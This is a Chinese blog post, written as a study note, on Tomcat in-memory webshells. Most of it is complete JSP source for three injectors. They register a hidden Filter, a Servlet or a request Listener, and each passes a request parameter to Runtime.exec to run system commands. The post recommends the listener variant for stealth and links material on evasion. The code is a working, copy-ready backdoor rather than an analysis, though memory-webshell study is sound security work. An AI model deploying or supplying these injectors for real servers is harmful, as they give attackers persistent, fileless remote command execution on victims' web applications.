看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧

前置知识

本次主要看的是tomcat的内存马,所以前置知识有下列

1.tomcat结构,tomcat和idea联动创建java_web

2.jsp简单语法结构

3.servlet基础

这些百度就行,不贴链接了,下面贴链接的都是,不容易百度到,或者知识体系和描述不一致的

内存马基础知识

1.内存马能够存在的三种形式:

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

2.filter型内存马实现流程

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
/*这是linux的,我主要用的windows的
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
*/
String command = req.getParameter("cmd");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { }
}; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName()); // 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>

3.servlet内存马实现流程

原理这个讲的比较好:https://blog.csdn.net/angry_program/article/details/118492214

但是不得不说这里真的坑,我到写这篇记录都没搞定idea调试tomcat源码的操作

所以直接给大家源码吧

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!
public static class servletTest extends HttpServlet {
@Override
public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
System.out.println("doGet被调用");
//servletResponse.getOutputStream().write("doGet被调用".getBytes()); if (httpRequest.getParameter("c") != null) {
System.out.println("eval");
//String[] command = new String[]{"sh", "-c", request.getParameter("c")};
String command = httpRequest.getParameter("c");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
httpResponse.getOutputStream().write(output.getBytes());
httpResponse.getOutputStream().flush();
//servletResponse.getWriter().write(output);
//servletResponse.getWriter().flush(); }
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("doPost被调用");
doGet(req, resp);
} @Override
public void init() throws ServletException {
System.out.println("servlet demo init!");
}
}
%>
<%
servletTest servlet=new servletTest();
// 一个小路径快速获得StandardContext,这两种都行,这个常用一点,不过我一直没找到request引的哪个包,坑!!!
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext stdcontext = (StandardContext) req.getContext(); // 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName()); // url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/servlet", name);
System.out.print("注入成功"); %>

3.listener型内存马(非常推荐):

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%!
public class listenerDemo implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("linstener Destroyed!");
} @Override
public void requestInitialized(ServletRequestEvent sre){
System.out.println("linstener Initialized!");
String command = sre.getServletRequest().getParameter("fuck");
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
} }
}
%>
<%
// 一个小路径快速获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo();
context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点

绕过方式

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

“降维打击篇”以后部分,写得非常好。

剩余问题

1.tomcat源码在idea调试咋弄,有会的告我一下,跪求

2.其它容器中内存马实现方式

3.反序列化实现真正的无文件形式内存马:http://wjlshare.com/archives/1541

简单学习java内存马的更多相关文章

  1. 《深入理解 Java 虚拟机》学习 -- Java 内存模型

    <深入理解 Java 虚拟机>学习 -- Java 内存模型 1. 区别 这里要和 JVM 内存模型区分开来: JVM 内存模型是指 JVM 内存分区 Java 内存模型(JMM)是指一种 ...

  2. [Java初探08]__简单学习Java类和对象

    前言 在前面的学习中,我们对面向对象的编程思想有了一个基本的了解,并且简单的了解了类和对象的定义.那么类和对象在Java语言中是如何表现的,这次,就从实际出发,学习一下一下类和对象在Java语言中的使 ...

  3. 最简单的 Java内存模型 讲解

    前言 在网上看了很多文章,也看了好几本书中关于JMM的介绍,我发现JMM确实是Java中比较难以理解的概念.网上很多文章中关于JMM的介绍要么是照搬了一些书上的内容,要么就干脆介绍的就是错的.本文试着 ...

  4. JVM学习---JAVA内存

    一.JAVA运行时数据区域:JAVA中的运行时内存区域有的随着虚拟机进程的启动而存在,有的区域则是依赖用户线程的启动和结束而建立和销毁的.包括以下的几个区域. 图. JAVA虚拟机运行时数据区 1.程 ...

  5. Java虚拟机学习-Java内存区域(一)

    Java虚拟机内存划分为以下几个区域: 1.方法区:方法区是各个线程共享的内存区域,它用于存储已被虚拟机加载的类信息.常量.静态变量.即时编译器编译后的代码等数据.虽然Java虚拟机规范把方法区描述为 ...

  6. 简单认识JAVA内存划分

    Java的内存划分为五个部分 那么又是哪五个部分呢?跟着我往下看! 介绍: 每个程序运行都需要内存空间,所以Java也不例外:而Java把从计算机中申请的这一块内存又进行了划分!而所在目的是为了让程序 ...

  7. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  8. Java 内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

  9. Java内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

随机推荐

  1. Java基础语法,常用知识复习

    1.开发环境搭建 1.1JDK.JRE.JVM.的关系 JDK = JRE + 开发工具集(例如javac编译工具集等) JRE = JVM + Java SE 标准类库 2.基本语法 2.1.jav ...

  2. pika详解(三)SelectConnection及其他Connection

    pika详解(三)SelectConnection及其他Connection   本文链接:https://blog.csdn.net/comprel/article/details/94661147 ...

  3. python字典转bytes类型字典

    python字典转bytes类型字典import base64 import json 1. a={"Vod":{"userData":"{}&quo ...

  4. AIFramework框架Jittor特性(下)

    AIFramework框架Jittor特性(下)

  5. Linux学习笔记:linux命令之目录处理命令

    目录处理命令 ls 命令名称:ls 英文原意:list 执行权限:所有用户 功能:显示目录文件 语法:ls 选项[-ald] [文件或目录] -a:显示所有文件,包括隐藏文件 -l:详细信息显示 -d ...

  6. Pytorch线性规划模型 学习笔记(一)

    Pytorch线性规划模型 学习笔记(一) Pytorch视频学习资料参考:<PyTorch深度学习实践>完结合集 Pytorch搭建神经网络的四大部分 1. 准备数据 Prepare d ...

  7. MySQL进阶:主主复制+Keepalived高可用

    Blog:博客园 个人 概述 mysql主主复制 所谓主主复制,即双主备份,或者叫互作主从复制,每台master既是master,又是slave.这种方案,既做到了访问量的压力分流,同时也解决了单点故 ...

  8. NOIP模拟测试「简单的区间·简单的玄学·简单的填数·简单的序列」

    简单的区间 $update$ 终于$AC$了 找到$(sum[r]+sum[l](sum表示以中间点为基准的sum)-mx)\%k==0$的点 注意这里$sum$表示是以$mid$为基准点,(即$su ...

  9. 第11章 PADS功能使用技巧(2)-最全面

    原文链接点击这里 七.Flood与Hatch有什么区别? 我们先看看PADS Layout Help 文档是怎么说的,如下图所示: 从检索到的帮助信息,我们可以得到Hatch与Pour的区别,原文如下 ...

  10. JavaScript的介绍概括

    1.js是一种轻型的解释性的脚本语言,称为web脚本语言. 2.js的执行原理:当客户端向服务器端请求某个页面时,浏览器端将整个页面中包含JavaScript的脚本代码作为响应内容,发送到客户端的机器 ...